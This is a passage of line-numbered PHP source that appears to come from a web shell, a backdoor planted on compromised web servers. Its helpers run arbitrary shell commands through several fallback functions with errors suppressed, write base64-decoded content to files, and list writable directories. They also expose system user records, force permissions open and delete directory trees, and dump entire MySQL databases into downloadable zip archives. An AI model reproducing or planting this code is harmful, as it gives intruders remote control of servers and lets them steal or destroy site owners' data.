3170 exit;
3171
3172
3173
3174}//end loginpage
3175
3176function execute($cfe) {
3177 $res = '';
3178 if ($cfe) {
3179 if(function_exists('exec')) {
3180 @exec($cfe,$res);
3181 $res = join("\n",$res);
3182 } elseif(function_exists('shell_exec')) {
3183 $res = @shell_exec($cfe);
3184 } elseif(function_exists('system')) {
3185 @ob_start();
3186 @system($cfe);
3187 $res = @ob_get_contents();
3188 @ob_end_clean();
3189 } elseif(function_exists('passthru')) {
3190 @ob_start();
3191 @passthru($cfe);
3192 $res = @ob_get_contents();
3193 @ob_end_clean();
3194 } elseif(@is_resource($f = @popen($cfe,"r"))) {
3195 $res = '';
3196 while(!@feof($f)) {
3197 $res .= @fread($f,1024);
3198 }
3199 @pclose($f);
3200 }
3201 }
3202 return $res;
3203}
3204function which($pr) {
3205 $path = execute("which $pr");
3206 return ($path ? $path : $pr);
3207}
3208
3209function cf($fname,$text){
3210 if($fp=@fopen($fname,'w')) {
3211 @fputs($fp,@base64_decode($text));
3212 @fclose($fp);
3213 }
3214}
3215
3216// Debug
3217function debuginfo() {
3218 global $starttime;
3219 $mtime = explode(' ', microtime());
3220 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3221 echo 'Processed in '.$totaltime.' second(s)';
3222}
3223
3224// Function connect database
3225function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
3226 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3227 p('<h2>Can not connect to MySQL server</h2>');
3228 exit;
3229 }
3230 if($link && $dbname) {
3231 if (!@mysql_select_db($dbname, $link)) {
3232 p('<h2>Database selected has error</h2>');
3233 exit;
3234 }
3235 }
3236 if($link && mysql_get_server_info() > '4.1') {
3237 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
3238 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3239 }
3240 }
3241 return $link;
3242}
3243
3244// Array strip
3245function s_array(&$array) {
3246 if (is_array($array)) {
3247 foreach ($array as $k => $v) {
3248 $array[$k] = s_array($v);
3249 }
3250 } else if (is_string($array)) {
3251 $array = stripslashes($array);
3252 }
3253 return $array;
3254}
3255
3256// HTML Strip
3257function html_clean($content) {
3258 $content = htmlspecialchars($content);
3259 $content = str_replace("\n", "<br />", $content);
3260 $content = str_replace(" ", " ", $content);
3261 $content = str_replace("\t", " ", $content);
3262 return $content;
3263}
3264
3265// Chmod
3266function getChmod($filepath){
3267 return substr(base_convert(@fileperms($filepath),10,8),-4);
3268}
3269
3270function getPerms($filepath) {
3271 $mode = @fileperms($filepath);
3272 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3273 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3274 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3275 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3276 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3277 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3278 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3279 else {$type = '?';}
3280
3281 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3282 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3283 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3284 $group['read'] = ($mode & 00040) ? 'r' : '-';
3285 $group['write'] = ($mode & 00020) ? 'w' : '-';
3286 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3287 $world['read'] = ($mode & 00004) ? 'r' : '-';
3288 $world['write'] = ($mode & 00002) ? 'w' : '-';
3289 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3290
3291 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3292 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3293 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3294
3295 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3296}
3297
3298function getUser($filepath) {
3299 if (function_exists('posix_getpwuid')) {
3300 $array = @posix_getpwuid(@fileowner($filepath));
3301 if ($array && is_array($array)) {
3302 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3303 }
3304 }
3305 return '';
3306}
3307
3308// Delete dir
3309function deltree($deldir) {
3310 $mydir=@dir($deldir);
3311 while($file=$mydir->read()) {
3312 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3313 @chmod($deldir.'/'.$file,0777);
3314 deltree($deldir.'/'.$file);
3315 }
3316 if (is_file($deldir.'/'.$file)) {
3317 @chmod($deldir.'/'.$file,0777);
3318 @unlink($deldir.'/'.$file);
3319 }
3320 }
3321 $mydir->close();
3322 @chmod($deldir,0777);
3323 return @rmdir($deldir) ? 1 : 0;
3324}
3325
3326// Background
3327function bg() {
3328 global $bgc;
3329 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3330}
3331
3332// Get path
3333function getPath($scriptpath, $nowpath) {
3334 if ($nowpath == '.') {
3335 $nowpath = $scriptpath;
3336 }
3337 $nowpath = str_replace('\\', '/', $nowpath);
3338 $nowpath = str_replace('//', '/', $nowpath);
3339 if (substr($nowpath, -1) != '/') {
3340 $nowpath = $nowpath.'/';
3341 }
3342 return $nowpath;
3343}
3344
3345// Get up path
3346function getUpPath($nowpath) {
3347 $pathdb = explode('/', $nowpath);
3348 $num = count($pathdb);
3349 if ($num > 2) {
3350 unset($pathdb[$num-1],$pathdb[$num-2]);
3351 }
3352 $uppath = implode('/', $pathdb).'/';
3353 $uppath = str_replace('//', '/', $uppath);
3354 return $uppath;
3355}
3356
3357// Config
3358function getcfg($varname) {
3359 $result = get_cfg_var($varname);
3360 if ($result == 0) {
3361 return 'No';
3362 } elseif ($result == 1) {
3363 return 'Yes';
3364 } else {
3365 return $result;
3366 }
3367}
3368
3369// Function name
3370function getfun($funName) {
3371 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3372}
3373
3374function GetList($dir){
3375 global $dirdata,$j,$nowpath;
3376 !$j && $j=1;
3377 if ($dh = opendir($dir)) {
3378 while ($file = readdir($dh)) {
3379 $f=str_replace('//','/',$dir.'/'.$file);
3380 if($file!='.' && $file!='..' && is_dir($f)){
3381 if (is_writable($f)) {
3382 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3383 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3384 $dirdata[$j]['dirchmod']=getChmod($f);
3385 $dirdata[$j]['dirperm']=getPerms($f);
3386 $dirdata[$j]['dirlink']=ue($dir);
3387 $dirdata[$j]['server_link']=$f;
3388 $dirdata[$j]['client_link']=ue($f);
3389 $j++;
3390 }
3391 GetList($f);
3392 }
3393 }
3394 closedir($dh);
3395 clearstatcache();
3396 return $dirdata;
3397 } else {
3398 return array();
3399 }
3400}
3401
3402function qy($sql) {
3403 //echo $sql.'<br>';
3404 $res = $error = '';
3405 if(!$res = @mysql_query($sql)) {
3406 return 0;
3407 } else if(is_resource($res)) {
3408 return 1;
3409 } else {
3410 return 2;
3411 }
3412 return 0;
3413}
3414
3415function q($sql) {
3416 return @mysql_query($sql);
3417}
3418
3419function fr($qy){
3420 mysql_free_result($qy);
3421}
3422
3423function sizecount($size) {
3424 if($size > 1073741824) {
3425 $size = round($size / 1073741824 * 100) / 100 . ' G';
3426 } elseif($size > 1048576) {
3427 $size = round($size / 1048576 * 100) / 100 . ' M';
3428 } elseif($size > 1024) {
3429 $size = round($size / 1024 * 100) / 100 . ' K';
3430 } else {
3431 $size = $size . ' B';
3432 }
3433 return $size;
3434}
3435
3436// Zip
3437class PHPZip{
3438 var $out='';
3439 function PHPZip($dir) {
3440 if (@function_exists('gzcompress')) {
3441 $curdir = getcwd();
3442 if (is_array($dir)) $filelist = $dir;
3443 else{
3444 $filelist=$this -> GetFileList($dir);//File list
3445 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
3446 }
3447 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
3448 else chdir($curdir);
3449 if (count($filelist)>0){
3450 foreach($filelist as $filename){
3451 if (is_file($filename)){
3452 $fd = fopen ($filename, 'r');
3453 $content = @fread ($fd, filesize($filename));
3454 fclose ($fd);
3455 if (is_array($dir)) $filename = basename($filename);
3456 $this -> addFile($content, $filename);
3457 }
3458 }
3459 $this->out = $this -> file();
3460 chdir($curdir);
3461 }
3462 return 1;
3463 }
3464 else return 0;
3465 }
3466
3467 // Show file list
3468 function GetFileList($dir){
3469 static $a;
3470 if (is_dir($dir)) {
3471 if ($dh = opendir($dir)) {
3472 while ($file = readdir($dh)) {
3473 if($file!='.' && $file!='..'){
3474 $f=$dir .'/'. $file;
3475 if(is_dir($f)) $this->GetFileList($f);
3476 $a[]=$f;
3477 }
3478 }
3479 closedir($dh);
3480 }
3481 }
3482 return $a;
3483 }
3484
3485 var $datasec = array();
3486 var $ctrl_dir = array();
3487 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
3488 var $old_offset = 0;
3489
3490 function unix2DosTime($unixtime = 0) {
3491 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
3492 if ($timearray['year'] < 1980) {
3493 $timearray['year'] = 1980;
3494 $timearray['mon'] = 1;
3495 $timearray['mday'] = 1;
3496 $timearray['hours'] = 0;
3497 $timearray['minutes'] = 0;
3498 $timearray['seconds'] = 0;
3499 } // end if
3500 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
3501 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
3502 }
3503
3504 function addFile($data, $name, $time = 0) {
3505 $name = str_replace('\\', '/', $name);
3506
3507 $dtime = dechex($this->unix2DosTime($time));
3508 $hexdtime = '\x' . $dtime[6] . $dtime[7]
3509 . '\x' . $dtime[4] . $dtime[5]
3510 . '\x' . $dtime[2] . $dtime[3]
3511 . '\x' . $dtime[0] . $dtime[1];
3512 eval('$hexdtime = "' . $hexdtime . '";');
3513 $fr = "\x50\x4b\x03\x04";
3514 $fr .= "\x14\x00";
3515 $fr .= "\x00\x00";
3516 $fr .= "\x08\x00";
3517 $fr .= $hexdtime;
3518
3519 $unc_len = strlen($data);
3520 $crc = crc32($data);
3521 $zdata = gzcompress($data);
3522 $c_len = strlen($zdata);
3523 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
3524 $fr .= pack('V', $crc);
3525 $fr .= pack('V', $c_len);
3526 $fr .= pack('V', $unc_len);
3527 $fr .= pack('v', strlen($name));
3528 $fr .= pack('v', 0);
3529 $fr .= $name;
3530 $fr .= $zdata;
3531 $fr .= pack('V', $crc);
3532 $fr .= pack('V', $c_len);
3533 $fr .= pack('V', $unc_len);
3534
3535 $this -> datasec[] = $fr;
3536 $new_offset = strlen(implode('', $this->datasec));
3537
3538 $cdrec = "\x50\x4b\x01\x02";
3539 $cdrec .= "\x00\x00";
3540 $cdrec .= "\x14\x00";
3541 $cdrec .= "\x00\x00";
3542 $cdrec .= "\x08\x00";
3543 $cdrec .= $hexdtime;
3544 $cdrec .= pack('V', $crc);
3545 $cdrec .= pack('V', $c_len);
3546 $cdrec .= pack('V', $unc_len);
3547 $cdrec .= pack('v', strlen($name) );
3548 $cdrec .= pack('v', 0 );
3549 $cdrec .= pack('v', 0 );
3550 $cdrec .= pack('v', 0 );
3551 $cdrec .= pack('v', 0 );
3552 $cdrec .= pack('V', 32 );
3553 $cdrec .= pack('V', $this -> old_offset );
3554 $this -> old_offset = $new_offset;
3555 $cdrec .= $name;
3556
3557 $this -> ctrl_dir[] = $cdrec;
3558 }
3559
3560 function file() {
3561 $data = implode('', $this -> datasec);
3562 $ctrldir = implode('', $this -> ctrl_dir);
3563 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
3564 }
3565}
3566
3567// Dump mysql
3568function sqldumptable($table, $fp=0) {
3569 $tabledump = "DROP TABLE IF EXISTS $table;\n";
3570 $tabledump .= "CREATE TABLE $table (\n";
3571
3572 $firstfield=1;
3573
3574 $fields = q("SHOW FIELDS FROM $table");
3575 while ($field = mysql_fetch_array($fields)) {
3576 if (!$firstfield) {
3577 $tabledump .= ",\n";
3578 } else {
3579 $firstfield=0;
3580 }
3581 $tabledump .= " $field[Field] $field[Type]";
3582 if (!empty($field["Default"])) {
3583 $tabledump .= " DEFAULT '$field[Default]'";
3584 }
3585 if ($field['Null'] != "YES") {
3586 $tabledump .= " NOT NULL";
3587 }
3588 if ($field['Extra'] != "") {
3589 $tabledump .= " $field[Extra]";
3590 }
3591 }
3592 fr($fields);
3593
3594 $keys = q("SHOW KEYS FROM $table");
3595 while ($key = mysql_fetch_array($keys)) {
3596 $kname=$key['Key_name'];
3597 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3598 $kname="UNIQUE|$kname";
3599 }
3600 if(!is_array($index[$kname])) {
3601 $index[$kname] = array();
3602 }
3603 $index[$kname][] = $key['Column_name'];
3604 }
3605 fr($keys);
3606
3607 while(list($kname, $columns) = @each($index)) {
3608 $tabledump .= ",\n";
3609 $colnames=implode($columns,",");
3610
3611 if ($kname == "PRIMARY") {
3612 $tabledump .= " PRIMARY KEY ($colnames)";
3613 } else {
3614 if (substr($kname,0,6) == "UNIQUE") {
3615 $kname=substr($kname,7);
3616 }
3617 $tabledump .= " KEY $kname ($colnames)";
3618 }
3619 }
3620
3621 $tabledump .= "\n);\n\n";
3622 if ($fp) {
3623 fwrite($fp,$tabledump);
3624 } else {
3625 echo $tabledump;
3626 }
3627
3628 $rows = q("SELECT * FROM $table");
3629 $numfields = mysql_num_fields($rows);
3630 while ($row = mysql_fetch_array($rows)) {
3631 $tabledump = "INSERT INTO $table VALUES(";
3632
3633 $fieldcounter=-1;
3634 $firstfield=1;
3635 while (++$fieldcounter<$numfields) {
3636 if (!$firstfield) {
3637 $tabledump.=", ";
3638 } else {
3639 $firstfield=0;
3640 }
3641
3642 if (!isset($row[$fieldcounter])) {
3643 $tabledump .= "NULL";
3644 } else {
3645 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3646 }
3647 }
3648
3649 $tabledump .= ");\n";
3650
3651 if ($fp) {
3652 fwrite($fp,$tabledump);
3653 } else {
3654 echo $tabledump;
3655 }
3656 }
3657 fr($rows);
3658 if ($fp) {
3659 fwrite($fp,"\n");
3660 } else {
3661 echo "\n";
3662 }
3663}
3664
3665function ue($str){
3666 return urlencode($str);
3667}
3668
3669function p($str){
3670 echo $str."\n";
3671}
3672
3673function tbhead() {
3674 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
3675}
3676function tbfoot(){
3677 p('</table>');
3678}
3679
3680function makehide($name,$value=''){
3681 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
3682}
3683
3684function makeinput($arg = array()){
3685 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
3686 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
3687 !$arg['type'] && $arg['type'] = 'text';
3688 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3689 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
3690 if ($arg['newline']) {
3691 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
3692 } else {
3693 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
3694 }
3695}
3696
3697function makeselect($arg = array()){
3698 if ($arg['onchange']) {
3699 $onchange = 'onchange="'.$arg['onchange'].'"';
3700 }
3701 $arg['title'] = $arg['title'] ? $arg['title'] : '';
3702 if ($arg['newline']) p('<p>');
3703 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
3704 if (is_array($arg['option'])) {
3705 foreach ($arg['option'] as $key=>$value) {
3706 if ($arg['selected']==$key) {
3707 p("<option value=\"$key\" selected>$value</option>");
3708 } else {
3709 p("<option value=\"$key\">$value</option>");
3710 }
3711 }
3712 }
3713 p("</select>");
3714 if ($arg['newline']) p('</p>');
3715}
3716function formhead($arg = array()) {
3717 !$arg['method'] && $arg['method'] = 'post';
3718 !$arg['action'] && $arg['action'] = $self;
3719 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
3720 !$arg['name'] && $arg['name'] = 'form1';
3721 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
3722 if ($arg['title']) {
3723 p('<h2>'.$arg['title'].' »</h2>');
3724 }
3725}
3726
3727function maketext($arg = array()){
3728 !$arg['cols'] && $arg['cols'] = 100;
3729 !$arg['rows'] && $arg['rows'] = 25;
3730 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3731 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
3732}
3733
3734function formfooter($name = ''){
3735 !$name && $name = 'submit';
3736 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
3737 p('</form>');
3738}
3739
3740function formfoot(){
3741 p('</form>');
3742}
3743
3744// Exit
3745function pr($a) {
3746 echo '<pre>';
3747 print_r($a);
3748 echo '</pre>';
3749}
3750
3751?>